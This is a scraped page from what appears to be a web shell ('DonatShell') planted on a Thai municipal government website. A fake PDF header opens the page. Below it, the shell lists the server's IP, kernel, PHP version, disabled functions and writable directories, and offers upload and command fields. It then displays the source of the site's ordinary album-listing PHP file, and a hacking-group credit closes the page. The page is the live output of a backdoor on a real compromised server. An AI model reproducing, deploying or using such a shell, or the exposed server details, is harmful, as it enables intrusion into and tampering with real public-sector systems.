%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/albums/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html/albums/show_albums.php
<?
Header("Content-Type: text/html; charset=UTF-8");;
include("../include/config.php");
include("../include/function.php");
include("../include/config_db.php");			

$limit_start = 1;
$limit_stop = 2; //เอากี่อัลบั้ม แก้ไขเลขตรงนี้

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<!--font -->

<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color:;
	font-family: 'thai_sans_lite';
	font-size:18px;
	width:600px;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
-->
</style>


<link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" />
<style>

.activity-list{
    width:600px;
    max-width:350px;
    margin:15px auto;
    overflow:hidden;
}

.activity-card{
    width:600px;
    float:left;
    margin:1%;
    background:#fff;
    border:1px solid #d9eadf;
    border-radius:12px;
    overflow:hidden;
    box-shadow:0 3px 10px rgba(0,0,0,.12);
    transition:.3s;
}

.activity-card:hover{
    transform:translateY(-4px);
    box-shadow:0 8px 18px rgba(0,0,0,.18);
}

.activity-img{
    position:relative;
}

.activity-img img{
    width:100%;
    height:150px;
    object-fit:cover;
    display:block;
}

.activity-date{
    position:absolute;
    left:8px;
    top:8px;
    background:#198754;
    color:#fff;
    font-size:11px;
    padding:4px 10px;
    border-radius:20px;
}

.activity-body{
    padding:12px;
}

.activity-title{
    font-size:15px;
    font-weight:bold;
    color:#0f5132;
    line-height:1.5;
    height:46px;
    overflow:hidden;
}

.activity-info{
    color:#666;
    font-size:12px;
    margin-top:8px;
}

.activity-btn{
    display:inline-block;
    margin-top:10px;
    padding:7px 16px;
    background:#198754;
    color:#fff;
    text-decoration:none;
    border-radius:20px;
    font-size:13px;
}

.activity-btn:hover{
    background:#146c43;
}

.clear{
    clear:both;
}

@media screen and (max-width:640px){

.activity-card{
    width:600px;
    margin:1%;
}

.activity-img img{
    height:180px;
}

}

</style>
</head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"><div align="center">

<table width="600" border="0" cellspacing="10" cellpadding="0">

<?php

$sql="SELECT *
FROM activity_album
ORDER BY order_item DESC,
date_publish DESC,
id DESC
LIMIT $limit_start,$limit_stop";

$result=mysql_query($sql);

$i=0;

while($row=mysql_fetch_assoc($result)){

    $c_id=$row["id"];

    $c_title=$row["alb_title"];

    if(strlen($c_title)>70){
        $c_title=utf8_substr($c_title,0,70)." ...";
    }

    $c_thumb=trim($row["alb_thumb"]);

    $c_date=dateThai_MM($row["date_publish"]);

    $c_counter=$row["alb_counter"];

    if($c_thumb!=""){
        $image="../photoThumbnail/albums/thumb/".$c_thumb;
    }else{
        $image="images/noimage.gif";
    }

    if($i%4==0){
        echo "<tr>";
    }

?>

<td width="260" valign="top">

<table width="260" border="0" cellspacing="0" cellpadding="0"
style="border:1px solid #dddddd;
border-radius:8px;
overflow:hidden;
background:#FFFFFF;
box-shadow:0 2px 6px rgba(0,0,0,.10);">

<tr>
<td>

<a href="activities.php?salb_id=<?=$c_id;?>" target="_blank">

<img src="<?=$image;?>"
width="115%"
height="220"
style="display:block;object-fit:cover;border-bottom:1px solid #ddd;">

</a>

</td>
</tr>

<tr>
<td style="padding:10px;">

<div style="
font-size:15px;
font-weight:bold;
color:#006699;
height:42px;
overflow:hidden;
line-height:21px;">

<?=$c_title;?>

</div>

<div style="
margin-top:8px;
font-size:12px;
color:#777777;">

📅 <?=$c_date;?>

</div>

<div style="
margin-top:4px;
font-size:12px;
color:#999999;">

👁 <?=number_format($c_counter);?> ครั้ง

</div>

<div align="center" style="margin-top:10px;">

<a href="activities.php?salb_id=<?=$c_id;?>"
target="_blank"
style="
display:inline-block;
padding:7px 18px;
background:#0099CC;
color:#FFFFFF;
text-decoration:none;
border-radius:20px;
font-size:13px;
font-weight:bold;">

ดูรายละเอียด

</a>

</div>

</td>
</tr>

</table>

</td>

<?php

    $i++;

    if($i%4==0){
        echo "</tr>";
    }

}

if($i%4!=0){

    echo "<td width='265'>&nbsp;</td></tr>";

}

mysql_free_result($result);

include("../include/close_db.php");

?>

</table>

</div></body>
</html>

Anon7 - 2022
AnonSec Team